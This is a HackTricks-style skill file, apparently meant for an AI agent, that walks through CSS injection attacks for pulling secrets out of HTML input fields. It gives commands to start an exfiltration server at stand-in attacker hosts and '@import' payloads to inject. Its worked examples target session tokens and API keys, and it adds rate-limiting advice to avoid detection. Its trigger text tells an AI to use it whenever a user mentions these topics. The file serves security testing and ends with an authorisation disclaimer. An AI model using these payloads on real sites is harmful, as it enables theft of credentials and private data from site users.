Hacktricks-skills css-injection-exfiltration
How to perform CSS injection attacks to exfiltrate data from input fields using CSS selectors and @import. Use this skill whenever the user mentions CSS injection, style injection, data exfiltration from forms, input field attacks, or wants to extract secrets from HTML input values. This is essential for web security testing when you need to extract hidden or sensitive data from input fields that can't be accessed through normal means.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/xs-search/css-injection/css-injection-code/SKILL.MDCSS Injection Exfiltration
This skill teaches you how to perform CSS injection attacks to exfiltrate data from HTML input fields. CSS injection is a powerful technique for extracting secrets, tokens, or any data stored in input field values when you can inject CSS into a page.
How It Works
CSS injection exfiltration works by:
- Injecting CSS into the target page via a style tag or CSS file
- Using CSS selectors to match input field values (prefix/suffix matching)
- Triggering @import requests to your controlled server when selectors match
- Reconstructing the secret character by character through iterative requests
The technique uses CSS attribute selectors like
value^="prefix" and value$="suffix" to test if an input's value starts or ends with specific characters. When a selector matches, it triggers a CSS url() property that makes a request to your server, leaking the matched character.
Setup
1. Start the Exfiltration Server
Use the bundled script to start your exfiltration server:
node scripts/css-exfil-server.js [port] [hostname]
Parameters:
: Port to listen on (default: 5001)port
: Your server address (default: localhost:5001)hostname
Example:
node scripts/css-exfil-server.js 5001 attacker.example.com
2. Inject the Initial CSS
Inject this CSS into the target page (via XSS, template injection, or any CSS injection vector):
<style> @import url("http://YOUR_SERVER:5001/start?"); </style>
Replace
YOUR_SERVER:5001 with your actual server address.
3. The Server Handles the Rest
Once the initial
@import is triggered, the server automatically:
- Generates CSS payloads to test each hex character (0-9, a-f)
- Receives leak callbacks when characters match
- Reconstructs the secret character by character
- Stops when the full secret is extracted
Understanding the Attack Flow
Phase 1: Initialization
Target Page → @import → Your Server /start Your Server → Returns CSS with character tests
Phase 2: Character Testing
For each position in the secret:
- Test suffixes - CSS checks if value ends with each hex char
- Test prefixes - CSS checks if value starts with each hex char
- Server receives callbacks - When selectors match, browser requests
or/leak?pre=X/leak?post=Y - Server waits for both - Needs prefix AND suffix match to confirm character
- Generate next payload - Move to next character position
Phase 3: Completion
When the full secret is reconstructed, the server receives
/end?token=SECRET and stops.
CSS Selector Techniques
Prefix Matching
input[value^="abc"] { /* matches if value starts with "abc" */ }
Suffix Matching
input[value$="xyz"] { /* matches if value ends with "xyz" */ }
Exact Matching
input[value="exact"] { /* matches if value equals "exact" */ }
Character Class Testing
input[value$="0"], input[value$="1"], input[value$="2"] { /* test multiple */ }
Practical Examples
Example 1: Extracting a Session Token
Target HTML:
<input type="hidden" value="a1b2c3d4" name="session" />
Attack:
- Start server:
node scripts/css-exfil-server.js 5001 attacker.com - Inject:
<style>@import url("http://attacker.com:5001/start?");</style> - Server output:
[+] END: a1b2c3d4
Example 2: Extracting API Keys
Target HTML:
<input type="text" value="sk_live_abc123xyz" />
Attack:
- Start server on your domain
- Inject CSS via any injection point
- Server reconstructs the full key
Example 3: Nested Input Fields
The attack works even with deeply nested inputs:
<div><div><div><div><input value="secret" /></div></div></div></div>
The server automatically handles nesting by adding
div selectors for each position.
Server Output Interpretation
[+] Server is listening on 5001 ...pre-payload: a ...post-payload: 1b2c3d4 req: /start? leak: waiting others... leak: waiting others... req: /leak?pre=a req: /leak?post=1b2c3d4 [+] END: a1b2c3d4
: Characters confirmed at the start of the secretpre-payload
: Characters confirmed at the end of the secretpost-payload
: Full secret extractedEND
Limitations and Considerations
Works Best With:
- Hex strings (0-9, a-f)
- Known character sets
- Input fields with accessible values
- Pages where CSS can be injected
May Not Work With:
- Encrypted or hashed values
- Very long secrets (browser may timeout)
- Input fields with
orreadonly
attributes (sometimes)disabled - CSP that blocks external CSS imports
Browser Compatibility:
- Works in most modern browsers
- Some browsers may block mixed content (HTTP CSS on HTTPS page)
- CORS restrictions may apply
Advanced Techniques
1. Character Set Customization
Modify the server to test different character sets:
// In css-exfil-server.js, change the character array [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, "a", "b", "c", "d", "e", "f"] // To: ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"]
2. Multiple Input Fields
The attack can target multiple inputs by adjusting selectors:
input[name="session"][value^="a"] { /* specific input */ }
3. Rate Limiting
Add delays between requests to avoid detection:
// In css-exfil-server.js, add setTimeout before genResponse setTimeout(() => genResponse(response), 1000);
Security Testing Checklist
When testing for CSS injection vulnerabilities:
- Identify CSS injection points (style tags, CSS files, template variables)
- Check if input fields contain sensitive data
- Verify CSP allows external CSS imports
- Test with the exfiltration server
- Document findings and affected endpoints
Legal and Ethical Considerations
Only use this technique on systems you own or have explicit permission to test. CSS injection exfiltration is a powerful attack that can extract sensitive data including:
- Session tokens
- API keys
- Passwords (if stored in inputs)
- Personal information
- Authentication credentials
Always obtain proper authorization before testing.
Troubleshooting
Server not receiving requests
- Check firewall settings
- Verify the injected CSS is actually loaded
- Ensure the server address is accessible from the target
- Check browser console for CSS loading errors
Partial extraction
- Some characters may not match (non-hex characters)
- Adjust the character set in the server
- Check if the input value changes dynamically
Slow extraction
- Browser may be rate-limiting requests
- Add delays in the server
- Check network latency